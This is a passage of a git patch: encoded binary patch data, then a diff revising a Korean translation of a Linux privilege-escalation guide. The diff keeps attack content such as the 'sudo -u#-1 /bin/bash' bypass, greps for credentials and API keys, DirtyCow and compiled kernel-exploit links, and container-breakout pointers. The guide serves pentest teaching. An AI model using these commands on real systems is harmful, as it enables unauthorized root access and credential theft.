z#{qi5iB5o4?9QAi0hcf3mj~FnGZ-uFNM6tj0IoeOtop{wK(fluI>0y z_NL%O=lKVDXAK_9bRQFdr1bp6t@l>6ZWw($2y&(DAPiAbU2C>yc63~^|OGKu`ASxB+= zgG%tXnHHea2=fcX-MdqQbj{(q;^Gg^KVtgCFo6LmoyM!qA`hsv=TQ#sxRczPPhs z4XrV%$S>p_;ma_qtB+aWk`Hp=vDa-2!!a>2FHw*J?Sy+b@k$$lduZO5I7gIsewNAR z@qVKaJtMJv^JM(wgO1#1IAo&p`e!(m1smuJnxmbdY;n!;&U_ordK9xo@pJLe-I&w$ z^=03;8P_`Cl_R0u)-r;~$V@8GM8xzeV8nrsy0ZxAn*g5#q8z59Z^FsR%4Q*~(&pZT z%+uGg6}jqOm#DBw5q?TSfenn6{B(Mh=Jz)wEDLuoRimdb?R1jm*u2!}X%dVn0NsVx z?u}E%nj2I10*qJSV`GS|fS#II)4ao3#zG*Oe3=8owhMvkV=)Dk>Dg__OiDZf(Fq`V z+`<>=mH7DPjdjSwy>C39c@x$~gdtwVsy&Lc2oh$9LfSpg;C}Wi@<3;(Gkne6DSd>D>8*ZJBZ5f~=E}l$H-ROzk`sA0K?UIP( z!o~dRHi>h^ha~u=^OAL7<4%qOSO)p@N;I|ik_+;ToipL?hTXJt4rBlfK9a6^Pc+9L z>;5^j#5>kITl9r%YHNBb>>Qf4to0-H1^}QDsuf$IXqrM&;$Vr3OH%%HKC)RGtER)_ zx2n9Cq%`53~`bl_VyqdXjPXXA2=*E3UewM?G3Z_$eW>cwlW6#5OE8h7iThI>x0%ZX#u&X@ zfn%C>DUPo-fP9q^$D47sb@y8%UET8c%|X1NweehLAEJ@t-w*NBG;lcx?SPuWDq`2; zDx4qk2R(m4S+S`n9Pf*Bdg{+#2>T)l4NpPaKb5D2F9?GedhYb@OULe8xDQaEBw)n8 zgj7LH4P4fbX@P+g->XJpqGTi5QXOrJYSq@?%YSkJO;LLePMYFGD5>&&2Lq54;FCW$ zv0(o*zxT$fd$@9*Fau?;!h!||Op1N$ruf5X+z#s`9oBk7#~_-OEBPRc7w>nk4`zcE zu18h9GCFO}I;L$q6np9ybnP0gGgr{+IUIP6*#Y(dpyF?%IE!ve>@kVk%g3HMETwPW zG|UXb?vrnIm`o|}7!Q8`UZ4HF@Rtph{!7qn`O4Fu+cu@Dn*iG4qm)B;alRdMUGj)f z{h7yab$5%dke*&!#PxGY3z`D62b2L6?N1I`G`mFExC#TP`54gI=H5l-U9^0Y?1jcb zZ1g~Ems|V|1x%bA+EwS21m%f#?pYJI4oT5RF$KHN-U}fN@IY#@9q%$@)A&}@xJ0zK zFAQ$XMM@c$(YlfAglaZ07z5V%kCE7IRoicpG5x9cvZeZN$6kcp zdZe!P5EtVw9pird==Ixe$q&o;&qAG@@7ZqX?N4S|-yfcvGY0l~aNA%FxLZfpIQ*L2 zU_nza@;cFZ?x(ur5}^5z2QdxVcEFt6_77iRXTn(_i66baXcuOkS*+s#8^IwzKQO+k z@<;0pB-W{{8NfTH<4K#op;|vGJa&cm)hkS{rr6KtU5_>EdEK-3>0Z}Fw>h4G&S;E8 zJU|&5(r;@djirQ!cL{7nEwtoUpsC8IWYY+gyE}D;8BRo>&?cQ2Huq1FNwqi zxNp1ZCmnji;0-pZTEOezi?%9QT9exrW3ITNNSkMOQRgMXx1PWAx?lq|y9{ytp6!(w zU=Cgw%g9P#%ujnN2c!VDI9IMST_U~YMlQd6wZll5%QQ7hlIAO?o-^RjYRRRqu=ft@ zsXb1;MYMu6k>rZhl(#%4?)@1j`z)Xl+uCDNV~Sxx6%!3feuYw4G)ukWF?h;5>M>pBF7hj*VrT#_q}I zl1RJ0y`N*Vz9WUdb?oS1>y6YnETI9gfI&iqMVYHxJ2H<$(2I`Pg7;C{`ID$9d%IiR zW|grZxx_KnlEz}N33R;9ZDVZEq|>jm__}EIFu)Y8#*p}00ol|vCjLcaTSR*XVvUI? zi)Ow%XF?fiS~v$U_~v)#G&4-%j$=^BO~$LF_o=+VMoz)W((+gI-n)OGJik*;n=}Jh zpB^Jc#OZkfEJgm2UT#>FFBOY~ckymqE%#$ZN{e;X=bDxydK91VLsjV=&deQQ zL$lU->apMhcmR#*ucVZEjBtcIsRUv$Ngv{G={W5%K0dCsUq^{I(qTLD0MdPH;TJg{ zMxJSuHNZoW{IZ#-?l(z2X9B&2nxIPSAb3YAa&gOEH`fY*dz9p3K4&h*YjBPlR9us&k{E8W(;Z`I!nu=hBm(o@J2<2 zf)QzTl!;y}=ygZilICbWSwRT(@V0A>y$KAz&NZpBhL?)yBo$|lMFT**rD49`HWXRD z_q@ID3S`8xKL;+Y4&-4ZXgsQIGI~zW9tl=mo1C1RN1DrQcH~u*7HbRZ4CHXl&r99D z;tc4Mxk6sLQJI(x$n5vAgeh#WFo_TDVT+}ts`zprBi38-zSHI8&ROQB{;%Wv$cS2J zAIZA0G0_FZ4bdU%ciAMNRcF~a_`1fClSfkZxR<;&xoo9ZQAt2g#B3sc)UCN#%Ljs4 zs+NnszyZ^D{|JN&+|IVm_IC3zNlyH?bcqKE!;jqIl)vHYv;NZkN!MdoS-E!ZpSl|K)zlkrhjm;e0lCck zyJ4#G+hSYQhav>pp?Ly;Jxolamq*$qf5E5Gm>N!v7uIr?s$Kc|@C8|16thd<<3O_x z;)=sii_Flyg}0Ho{dhroEbjreOI7Q1VIyhKzCS;|P`P3gblV$1o^GOz&)>gqUFh?% ztLzZG)>Jfj4jiMQKnc1Ygy$&RE^19X7gM~SCKjxeCY0)9X!&@|Cux7Vk4I6lfI9$v zE|_~CLp9@`FQyn`dG=g=fhkrsdD<`mC}uZ+b-zCgsjRk`WnK7`G0>|SiN(X#*Vh%Z57PlwMc{PS;Igg~C;AK6&im$R zZ;z?pf_hD6=FIx-7g^We10*0k*sY-S=_$X61GhcRWv+n-1x;ewp@qHEyHbB>9H!t) z45~eWlgE|%qZ$`2K&_gmLI#B*Jwc~eTfGK3N%aowM*)_QBGnv(*Zy%0_FBmL>}SmSyo5`V@cd8*qtbMGJsWoi@v@ zlCmURZl17%Q9m3gIrzTUSB*+t$>5%YU^`%98 z0CXz`@c(6m-#kWX@3ZyPK~hq5(EL7pXn1&c4)AsesayKA*O)x~g41Mr5GI5h09KEG~lW(v?U%B9hM4 z%SJ;y0v-yV(C{}PE@>9pu^H$Ezn}YO;N@hdRw(uyAv=8}yzPuR(PiK<^Swv5P*O$KUk&J`y(t zD1eE&ReDT)R&F1J&AZ;-%u579&M+Z~77op_iI-iZ|Wok zq7!r&#XKc*(>XFyu^5^YE=nAr4&SEa9YE-xN$F~b+kXV~t~fMjdRSGK{=#N+Jt@=l zts&JrPt-GVVmj=ve6(#w2!9vB47az|($JslvcvCETEp{Mf&I@%1>Ne&rl$HfL2E%? zlr##!_K?WgTTnL}+EyJ;YuAT*Rph zT$}3;RY!)EwNasc=#a7|;`vf0yVQAg=2DQ${{2px61t~y^B(?{w|hE#_WL50R6Q46 z#6|eJ)us{eUx+^{`bi7Y*3J7eqt>#rHdk#~XV0LQWJnfvEqnt!%c%M4GXRRf2^S_+ z^5Lqsc=*i@!B!*Ua-3bY@&X;HI<#c-)f~uK$JE=NAo~pSp~?#={>i1Dk;a=eJg~92 z{np0xjCNXlT%lZve&Mf?X(4Kbz0jc zHuf8cWRtvqE0W!;#V|r z8t2;2&YWrpSo$w+bpP4$ZbY4=3kFY`nIIuY-TS*wtWMD%ryf*OfFb#$Km4{*E6pt< z6!ZOdnN{)&C^*+V145QvS3dUbXQY|F2kUb7sYHFI>#v~0jVAv1gviK6(6XBY@azo6 zk>;e4`&#WCYzvs_`GT%1N%iYgMpsZeYWw`;TmBUjDsR-d=U}+N9_KZj}-rS%cv5CH?P{F=4Jvt26ivvdmT_e86zwQ4zcG< z*G({BHq}GeIW*9~6iW685Ee%BQqhM5AQW14<(~%Deda(^Ha|LVU7G536#EUlu=B9#~v>pz_6tUV73BU zu{OSozfUganwzhq$_+zuZUkz-ZuJj#7VT@K^=|=uO(M#F0(?&R-C1g?P$v#wN`+j` zeDIHW_I83iJB905`yl!Tw{Bb5@nH*t&UCXIlFlM3GBQ4Z8aza}gcC{48UL8DvBS8% zpubMEXCYaeP(8qTPe>^uf5oD59UrggmZ=MhMLjPgVE)s@)K|SsCQg!WqrzHq=(2G~ zl}w~db_m(l_f!?{{#k)E2_VnX1n)$zp_{MTR^MT4{Xdp98p7CaE_m(>HomxQ04OGc z61zF?3)zN7M{A5>5v`~zry9pBo*3#ck8a`ai2r7X*puDOJQF#!++Hv8e|ajtIO{~H z>ocEi?sF@D_+di2>rE|#8jl^Rdcy78-^jb>>5xOvVE_DL+K#ZpbUFwc^rysdH>bM# zh3Fjrtw>=*DalxQ|Fi7+PEUrLHYzNmCqbA`c|PP+-Cu7j3!iNRP%7MlYevPKW)BS| zz-N-ko~+B{)P$%eT`3l?f?WfSkmakkgtXI5r&V|b&UcNq-iR1zpZ7y`N7Lb1pEOeY zZng*+eN2j~-oxoD8K8uApIOZ_$}ht$8$>>ofdxhzo*o??58i!xdKTUwZflo$W9n#g zR$7{1d3K0BXsQ-_oq}A;t%od0ivhsBCnhQr^vF7+Ccn{Mz2s@g>W@hjSJHs_6qzSr zqzT-s&gGCbH(3<@&rk;~mWvlIcrl9?4_rA`3?r(}$Qo6(I$(X*cSBY=@=o|!SA?9u zztSy}158Ga7A{0i96z%Of#|LV+w_=s(%)SR!AV;_BS94V63msV=I!xA?H}6XM zgAjh->o|`NTOG;sxC#7e7z+>iK^@4mS79uK;Eu&=^WhSNU)CalXJO)St$(!pl$xS&I)0X@{u!PIAw_K;24oT%^OyBD<7BP z6^&HI6``yUR^gh9;@?$YYd=l~w4kOiC1p6JbAvXjf~EvC=gJRgF9{9;qLbG@*SkJv$NSf$BsF3Ok4W+erklq`4tvNci!3C$EtAw zWJ^_D*0+(>Kt+eg^$hQF3ji#Ci)CGF|8~gsc0E1Fcv^Vqgj2nhSPS|u9XBx?XSpD` z{!kLu(j)3!#xz`-uhJd{hlQ32XSn(+8r>kWY1`L${8t@ z5Oij&D;|K`Bi${QAX&2D6~)Sh-ld+4+q%6M$ZJs@fxM8plW*426}=L&KD&LN?$fmp zFBfz;S#w=>LzLoI9@by^lkDdR<^I}=6nNdNK-s{9PhmH6mhPngqZ#yzy_ zr(|~M(;55DIqM#>ctWFc=8`gUY*d9|d>1%$D^hm!9dE6@Ke2zi;!Y2R_?!pv8=)OO z2=W}yVE2Lp3X$ojDPE_$eG`uMAzJu78?+j{V+gsPV-z0>02Wmn?$0wSPeMWsNRcy6x*5uQQP^w7Dvjp3bn+eo| z26as{T=@q2Et1Ba)9lWgODv4o*T&QVYn;Z`v;`ipojNOtd`3(A!~LEL9E@bD)Fp=J zxWxUpJ!)IJvarGPjZLIB3-&PQp+R?^%;WW5p*{D1ZqAI4d*DjBX9atF;fCsJ^EISy zli|X`JSmn1TQ=6V{dp=;rag)w&BHvZBkk&tU?0H9)Mn5GapEb(O4jo>-c#T6HWB-F zv@AUzjh?$1-@FpLX$Hy0opUs#z*gX0VUJcOMxi^*zb(;tmmWQKwKfhMfr{J zd?t!xE<|hgmcnK}GHympOZ7bnu^SR1ENfk9HRGT@{Xk6Ikc+oICQ-nDa!ya>X@Ss` zptLX3!kN=1q%uybCnkVO$&BT{JHzc;3dymM{)R1XIbVJOS`z~ZvDqi$U2drpGT)_4 zYFTBDGV;MGqbl36;`sV0Ni{)qIwr*?C%Kp-;KY23MgNuo(9ZM4ihfl=CcjA1tVw$y5|Q% zJ;wSgVM{(`aWYhc2R7p(0`~2W%S~>%!E^DUB?}kzOxq8cv6@G~JXecjxp=s4jzy{J zX{W*v@5$FM0uhKgi&J7qf=njNVCRP3&p&xFJ%x&0_N8~pxp$*^_aYMqZ3=ODX8Xfm z`Z4#Do;+$C!xPGn{kMy+Z%O0nRXQDLg5LIe&(P|xfJ_Hj{zLAy^5{1!Yth# zT3|%|2f|YJt=U?80~l4D={K>iVk@dwO&baiaB%3Jt18^pQOqBPa`AKo`J=7GE~P^e zhIG#IPRI12DZwWV;oR+&*K}Yp7zCgExnCJ3YM%Q&o87`0GPRdG`txu_ILB7Rye!Po zB#)ap)Rqm>9(9739ZJ#Z30=G!oQ6T9Sv5sDo0*mf%5<^OA1qZ+m@F!c4#F;jB@YPO zJ1u4LQwg}8yq&6@NN-$ zi&)gps6jue`Q_E6PlP?6p0Um#*ii(KSdRB;MJO$Z5kn*Sb|_DKK4L4Py_%&pd#Mb89e556v&{K}- zBEPSVGmEgXk%4M0-1#&rB%I;B{n~ zj#FB9$M|;MbdE)IUx$R{YMo22?^oD{f6IQ>OEvfuwikZZ#jTq})RA>*(D%?)VuE{q~)iTxrI-QsIFI4XNxA0_L$XfzZ$C@x@Z)luC_3*2{|{BiI^rg2_! z*U)iK;;GPHx}?Vz{NPqso&@t}uvuj@Anxi(3_3AV#cc!dI=rEmu?)O-JAT9V(@F}8 zws<*dD{d}HUr#x21nF%t7f`ZzS5UHunDvjHVqgJRxPmryZ{9a?>?y#(H1d>RHWF?HQovT zT&L2`AD-a#fERmQ05r-egm-&BCLS>)MZB4sAE(81sl)uDtKMtDUL9VJl(e{ZV2rMv zCRU&M&>{IV-LAO)(Kq)3{<&Et0rz_SuP@tEWBa(cG`N3-vwf}OdFG8oDFLzon`9+E zVmW{kmI}Dpq!LkaF$Q1mo1Qcg4bm<-R{i3W(_Iu^VuaNY3Niib1_9@0J(ZfU&&7`- zv#B`A!QULBKOpGL`z8&in{+tiF@R|tt5-(yA{1E~yl zF#qKPble-UV8quyzA0#1Wbyi8<<~hKSD$0K9uGc=wuie7ba0`Rho@x^B4|WQhuI7w z29sfNG5+oR8gvInAv9v8u21hKCNm5DmBYjZ6o3&Xvdl_q?T9zbo3Ac9EzbuLT&jF7 zZ}r>HX6PYrTY}vCBu@-UW8E|Ld7FSzvaX3p9)G2gX{%3=gJac3V9$Pnv zM^gJ(?VD2V=69=amp7hIw*-fky&o|(9f0R>gDMvY2G@gxouxnVbw=KAWk`NFZUPo%wC=W4}vYQbbUS?PoW>Czuj+@EP1Lbqnz zdEwrZb2w*3pdNKKc_bzVF3P(=ke)_?&N3Iv%77j9@=$=@6Xmr4rFd~ zcZ1@fEXAr}rky+Q+bb$4xEy&xCY~S1)sp{B$ z_@%x(56+iwRNEU2y&G<`)G$l8wXMmdm zbUGe3Y*oWD9Z!f?u*hWmv{ZHRFG@8qkY^mMwM%yyo^jVmySKMqXrirL1sWCch4q;` zO&W-{R{IzaSB?wqs^U^YQCSeXTEI-ivJc#Vsu@b&ZXU-arMx44R40UPa>? zu>#l>5qfxd3?enA2o9gqu73rZMyrS1emK-SiRh9Ee&_0JG(59o8+56Y9ym??v{a<9S|NH&@ z`$hi0{&Lk~B*|mL6B)>J;vZ=ia*f)A1Y|-*M@V#6f%Z$;Xqo!&#b;bxB~>(~!ruzy6>yWJn$aSI z{~YIk^9vXpoq)?3{D2e!ZS z7*HrejW~%F_wQ_FG$$y(piq2P?(dv`tUy~mYM#5`zcnNGfC;&0|1sq63=fHH<>9>_ zNccakuRjm@3Yd^rQ?4X`Yj^J-y_l6{5|Ih#O z-~6IaiBNlD^G)z?4ey_Y{O>jX&qDt98b|-LkpI20{)x!{4%YwQN91$7ds/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems @@ -14,28 +14,28 @@ cat /etc/os-release 2>/dev/null # universal on modern systems ``` ### Path -๋งŒ์•ฝ **have write permissions on any folder inside the `PATH`** ๋ผ๋ฉด ์ผ๋ถ€ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋‚˜ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ hijackํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +๋งŒ์•ฝ **`PATH` ๋ณ€์ˆ˜ ๋‚ด์˜ ์–ด๋–ค ํด๋”์— ๋Œ€ํ•ด ์“ฐ๊ธฐ ๊ถŒํ•œ์ด ์žˆ๋‹ค๋ฉด** ์ผ๋ถ€ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋‚˜ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ hijackํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ```bash echo $PATH ``` ### ํ™˜๊ฒฝ ์ •๋ณด -ํ™˜๊ฒฝ ๋ณ€์ˆ˜์— ํฅ๋ฏธ๋กœ์šด ์ •๋ณด, ๋น„๋ฐ€๋ฒˆํ˜ธ ๋˜๋Š” API ํ‚ค๊ฐ€ ์žˆ๋‚˜์š”? +ํ™˜๊ฒฝ ๋ณ€์ˆ˜์— ๋น„๋ฐ€๋ฒˆํ˜ธ๋‚˜ API keys ๊ฐ™์€ ๋ฏผ๊ฐํ•œ ์ •๋ณด๊ฐ€ ์žˆ๋‚˜์š”? ```bash (env || set) 2>/dev/null ``` ### Kernel exploits -์ปค๋„ ๋ฒ„์ „์„ ํ™•์ธํ•˜๊ณ  ๊ถŒํ•œ ์ƒ์Šน์— ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” exploit์ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”. +kernel version์„ ํ™•์ธํ•˜๊ณ , escalate privileges์— ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” exploit์ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”. ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -์—ฌ๊ธฐ์—์„œ ๊ดœ์ฐฎ์€ ์ทจ์•ฝ ์ปค๋„ ๋ชฉ๋ก๊ณผ ์ด๋ฏธ **compiled exploits**๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) ๋ฐ [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ -๋‹ค๋ฅธ ์‚ฌ์ดํŠธ๋“ค์—์„œ๋„ ์ผ๋ถ€ **compiled exploits**๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +์ข‹์€ vulnerable kernel list์™€ ๋ช‡๋ช‡ ์ด๋ฏธ **compiled exploits**๋ฅผ ๋‹ค์Œ์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +๋‹ค๋ฅธ ์‚ฌ์ดํŠธ๋“ค์—์„œ๋„ ๋ช‡๋ช‡ **compiled exploits**๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -ํ•ด๋‹น ์›น์—์„œ ๋ชจ๋“  ์ทจ์•ฝ ์ปค๋„ ๋ฒ„์ „์„ ์ถ”์ถœํ•˜๋ ค๋ฉด ๋‹ค์Œ์„ ์‹คํ–‰ํ•˜์„ธ์š”: +ํ•ด๋‹น ์›น์‚ฌ์ดํŠธ์—์„œ ๋ชจ๋“  vulnerable kernel versions๋ฅผ ์ถ”์ถœํ•˜๋ ค๋ฉด ๋‹ค์Œ์„ ์ˆ˜ํ–‰ํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` @@ -45,7 +45,7 @@ kernel exploits๋ฅผ ๊ฒ€์ƒ‰ํ•˜๋Š” ๋ฐ ๋„์›€์ด ๋  ์ˆ˜ ์žˆ๋Š” ๋„๊ตฌ๋Š” ๋‹ค์Œ๊ณผ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ [linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (victim์—์„œ ์‹คํ–‰, kernel 2.x์šฉ exploits๋งŒ ํ™•์ธ) -ํ•ญ์ƒ **Google์—์„œ kernel version์„ ๊ฒ€์ƒ‰ํ•˜์„ธ์š”**, ํ•ด๋‹น kernel version์ด ์–ด๋–ค kernel exploit์— ๊ธฐ์žฌ๋˜์–ด ์žˆ์œผ๋ฉด ๊ทธ exploit๊ฐ€ ์œ ํšจํ•˜๋‹ค๋Š” ๊ฒƒ์„ ํ™•์‹ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +ํ•ญ์ƒ **Google์—์„œ kernel ๋ฒ„์ „์„ ๊ฒ€์ƒ‰ํ•˜์„ธ์š”**, ์–ด์ฉŒ๋ฉด kernel ๋ฒ„์ „์ด ์–ด๋–ค kernel exploit์— ์ ํ˜€ ์žˆ์„ ์ˆ˜ ์žˆ์œผ๋‹ˆ ๊ทธ๋Ÿฌ๋ฉด ํ•ด๋‹น exploit๊ฐ€ ์œ ํšจํ•œ์ง€ ํ™•์‹ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ### CVE-2016-5195 (DirtyCow) @@ -59,27 +59,27 @@ https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` ### Sudo ๋ฒ„์ „ -๋‹ค์Œ์— ๋‚˜ํƒ€๋‚˜๋Š” ์ทจ์•ฝํ•œ sudo ๋ฒ„์ „์„ ๊ธฐ๋ฐ˜์œผ๋กœ: +๋‹ค์Œ์— ๋‚˜ํƒ€๋‚œ ์ทจ์•ฝํ•œ sudo ๋ฒ„์ „์„ ๊ธฐ๋ฐ˜์œผ๋กœ: ```bash searchsploit sudo ``` -๋‹ค์Œ grep์„ ์‚ฌ์šฉํ•˜์—ฌ sudo ๋ฒ„์ „์ด ์ทจ์•ฝํ•œ์ง€ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +์ด grep์„ ์‚ฌ์šฉํ•ด sudo ๋ฒ„์ „์ด ์ทจ์•ฝํ•œ์ง€ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` -#### sudo < v1.28 +#### sudo < v1.8.28 -์ž‘์„ฑ์ž @sickrov +์ž‘์„ฑ์ž: @sickrov ``` sudo -u#-1 /bin/bash ``` ### Dmesg ์„œ๋ช… ๊ฒ€์ฆ ์‹คํŒจ -์ด vuln์ด ์–ด๋–ป๊ฒŒ ์•…์šฉ๋  ์ˆ˜ ์žˆ๋Š”์ง€์— ๋Œ€ํ•œ **์˜ˆ์‹œ**๋Š” **smasher2 box of HTB**๋ฅผ ํ™•์ธํ•˜์„ธ์š”. +**smasher2 box of HTB**์—์„œ ์ด vuln์ด ์–ด๋–ป๊ฒŒ ์•…์šฉ๋  ์ˆ˜ ์žˆ๋Š”์ง€์— ๋Œ€ํ•œ **์˜ˆ์‹œ**๋ฅผ ํ™•์ธํ•˜์„ธ์š”. ```bash dmesg 2>/dev/null | grep "signature" ``` -### ์ถ”๊ฐ€ system enumeration +### ์ถ”๊ฐ€ ์‹œ์Šคํ…œ ์—ด๊ฑฐ ```bash date 2>/dev/null #Date (df -h || lsblk) #System stats @@ -123,7 +123,7 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -๋งŒ์•ฝ docker container ๋‚ด๋ถ€์— ์žˆ๋‹ค๋ฉด ํƒˆ์ถœ์„ ์‹œ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +docker container ์•ˆ์— ์žˆ๋‹ค๋ฉด ํƒˆ์ถœ์„ ์‹œ๋„ํ•ด๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: {{#ref}} docker-security/ @@ -131,7 +131,7 @@ docker-security/ ## Drives -๋ฌด์—‡์ด **๋งˆ์šดํŠธ๋˜์–ด ์žˆ๊ณ  ๋งˆ์šดํŠธ ํ•ด์ œ๋˜์–ด ์žˆ๋Š”์ง€**, ์–ด๋””์— ์žˆ์œผ๋ฉฐ ์™œ ๊ทธ๋Ÿฐ์ง€ ํ™•์ธํ•˜์„ธ์š”. ๋งŒ์•ฝ ์–ด๋–ค ํ•ญ๋ชฉ์ด ๋งˆ์šดํŠธ ํ•ด์ œ๋˜์–ด ์žˆ๋‹ค๋ฉด ์ด๋ฅผ ๋งˆ์šดํŠธํ•ด ๊ฐœ์ธ ์ •๋ณด๋ฅผ ํ™•์ธํ•ด๋ณด์„ธ์š”. +์–ด๋–ค ๊ฒƒ์ด **what is mounted and unmounted** ๋˜์–ด ์žˆ๋Š”์ง€, ์–ด๋””์— ์žˆ๊ณ  ๊ทธ ์ด์œ ๋Š” ๋ฌด์—‡์ธ์ง€ ํ™•์ธํ•˜์„ธ์š”. ๋งŒ์•ฝ ์–ด๋–ค ๊ฒƒ์ด unmounted ์ƒํƒœ๋ผ๋ฉด ์ด๋ฅผ mountํ•ด ๊ฐœ์ธ ์ •๋ณด๊ฐ€ ์žˆ๋Š”์ง€ ํ™•์ธํ•ด๋ณด์„ธ์š”. ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -140,60 +140,60 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ``` ## ์œ ์šฉํ•œ ์†Œํ”„ํŠธ์›จ์–ด -์œ ์šฉํ•œ binaries ์—ด๊ฑฐ +์œ ์šฉํ•œ ๋ฐ”์ด๋„ˆ๋ฆฌ ์—ด๊ฑฐ ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -๋˜ํ•œ **์ปดํŒŒ์ผ๋Ÿฌ๊ฐ€ ์„ค์น˜๋˜์–ด ์žˆ๋Š”์ง€** ํ™•์ธํ•˜์„ธ์š”. ์ผ๋ถ€ kernel exploit์„ ์‚ฌ์šฉํ•ด์•ผ ํ•  ๊ฒฝ์šฐ ์œ ์šฉํ•œ๋ฐ, ํ•ด๋‹น exploit์€ ์‚ฌ์šฉํ•˜๋Š” ๋จธ์‹ (๋˜๋Š” ์œ ์‚ฌํ•œ ๋จธ์‹ )์—์„œ compileํ•˜๋Š” ๊ฒƒ์ด ๊ถŒ์žฅ๋ฉ๋‹ˆ๋‹ค. +๋˜ํ•œ **์ปดํŒŒ์ผ๋Ÿฌ๊ฐ€ ์„ค์น˜๋˜์–ด ์žˆ๋Š”์ง€** ํ™•์ธํ•˜์„ธ์š”. ์ผ๋ถ€ kernel exploit์„ ์‚ฌ์šฉํ•ด์•ผ ํ•˜๋Š” ๊ฒฝ์šฐ ์œ ์šฉํ•˜๋ฉฐ, ์‹ค์ œ๋กœ ์‚ฌ์šฉํ•  ๋จธ์‹ (๋˜๋Š” ์œ ์‚ฌํ•œ ๋จธ์‹ )์—์„œ ์ปดํŒŒ์ผํ•˜๋Š” ๊ฒƒ์ด ๊ถŒ์žฅ๋ฉ๋‹ˆ๋‹ค. ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` ### ์ทจ์•ฝํ•œ ์†Œํ”„ํŠธ์›จ์–ด ์„ค์น˜๋จ -**์„ค์น˜๋œ ํŒจํ‚ค์ง€์™€ ์„œ๋น„์Šค์˜ ๋ฒ„์ „**์„ ํ™•์ธํ•˜์„ธ์š”. ์˜ˆ๋ฅผ ๋“ค์–ด ์˜ค๋ž˜๋œ Nagios ๋ฒ„์ „์ด ์žˆ์–ด ๊ถŒํ•œ ์ƒ์Šน์— ์•…์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹คโ€ฆ\ -์˜์‹ฌ์Šค๋Ÿฌ์šด ์„ค์น˜๋œ ์†Œํ”„ํŠธ์›จ์–ด์˜ ๋ฒ„์ „์€ ์ˆ˜๋™์œผ๋กœ ํ™•์ธํ•˜๋Š” ๊ฒƒ์ด ๊ถŒ์žฅ๋ฉ๋‹ˆ๋‹ค. +์„ค์น˜๋œ ํŒจํ‚ค์ง€์™€ ์„œ๋น„์Šค์˜ **๋ฒ„์ „์„ ํ™•์ธ**ํ•˜์„ธ์š”. ์˜ˆ๋ฅผ ๋“ค์–ด ์˜ค๋ž˜๋œ Nagios ๋ฒ„์ „์ด ์žˆ์„ ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋Š” escalating privileges์— ์•…์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹คโ€ฆ\ +๋” ์˜์‹ฌ์Šค๋Ÿฌ์šด ์„ค์น˜๋œ ์†Œํ”„ํŠธ์›จ์–ด์˜ ๋ฒ„์ 